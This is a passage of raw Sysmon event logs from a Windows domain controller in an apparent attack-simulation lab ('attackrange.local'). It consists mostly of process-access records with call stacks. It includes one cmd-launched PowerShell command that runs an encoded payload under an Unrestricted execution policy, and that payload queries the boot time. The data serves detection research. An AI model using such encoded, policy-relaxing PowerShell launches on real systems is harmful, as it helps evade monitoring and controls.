09:10:06.183{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000002576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.778{A5F018FF-28BF-5F80-0F00-000000007F01}1128win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\svchost.exe 10341000x80000000000000002643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.979{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.979{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.948{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_25dp2m0p.ole.ps12020-10-09 09:10:11.948 10341000x80000000000000002640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.932{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28F3-5F80-7900-000000007F01}45844604C:\Windows\system32\conhost.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28F3-5F80-7A00-000000007F01}46484652C:\Windows\system32\cmd.exe{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.913{A5F018FF-28F3-5F80-7B00-000000007F01}4660C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F3-5F80-07B8-040000000000}0x4b8070HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28F3-5F80-7A00-000000007F01}4648C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA 10341000x80000000000000002624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28F3-5F80-7900-000000007F01}45844604C:\Windows\system32\conhost.exe{A5F018FF-28F3-5F80-7A00-000000007F01}4648C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.901{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 